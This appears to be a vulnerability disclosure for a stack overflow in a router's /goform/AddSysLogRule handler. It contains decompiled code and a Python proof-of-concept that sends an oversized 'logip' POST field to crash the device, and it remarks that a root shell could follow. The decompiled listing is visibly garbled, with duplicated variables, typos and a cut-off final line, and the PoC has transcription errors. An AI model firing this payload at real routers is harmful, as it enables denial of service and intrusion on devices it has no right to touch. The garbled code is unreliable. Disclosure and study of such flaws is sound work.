

## Vulnerability details

```
int i; // [sp+20h] [+20h]

char *logport; // [sp+24h] [+24h]

char *logip; // [sp+28h] [+28h]

char *logip; // [sp+28h] [+28h]

char *logip; // [sp+28h] [+28h]

char *index; // [sp+26h] [+2ch]

char *index; // [sp+26h] [+2ch]

char *eni, // [sp+30h] [+30h]

char *en; // [sp+30h] [+30h]

char *op; // [sp+34h] [+34h]

char mib_name[64]; // [sp+38h] [+78h] BYREF

dear mib_value[256]; // [sp+78h] [+78h] BYREF

memset(mib_name, 0, sizeof(mib_name));

memset(mib_value, 0, sizeof(mib_value));

op = websGetVar(wp, "op", "no");

if (!strncmp(op, "add", 3u))

{

memset(mib_name, 0, sizeof(mib_name));

memset(mib_value, 0, sizeof(mib_value));

op = websGetVar(wp, "logPort", byte_498330);

alogip = websGetVar(wp, "logPort", byte_498330);

en = webGetVar(wp, "syRuleEn", "0");

sprintf(mib_value, "%syRuleEn", "0");

sprintf(mib_value, "%syRuleEn", "0");

sprintf(mib_value, "mib_value);

++rule_count_16343;

if (!strncmp(op, "modify", 3u))

{

indexa = websGetVar(wp, "Index", byte_498330);

memset(mib_name, 0, sizeof(mib_name));

indexa = websGetVar(wp, "Index", byte_498330);

indexa = websGetVar(wp, "I
```

In /goform/AddSysLogRule, when the input op is add, you can input logip, logport, len, and finally these three will be spliced into mib\_value through sprintf. It is worth noting that these three do not check the size, resulting in stack overflow vulnerability

## Poc

```
import socket
import os
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
ip = '192.168.0.1'
port = 80
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
r.connect((ip, port))
rn = b' r'
p1 = b'a' * 0x3000
p2 = b'op=add&logip=' + p1
p3 = b"POST /goform/AddSysLogRule" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
. p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 \; += \; b\text{``Accept: text/html,application/xhtml+xml,application/xml;} \\ q=0.9,*/*; \\ q=0.8" \; + \; rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2
r.send(p3)
response = r.recv(4096)
response = response.decode()
li(response)
```

You can see the router crash, and finally we can write an exp to get a root shell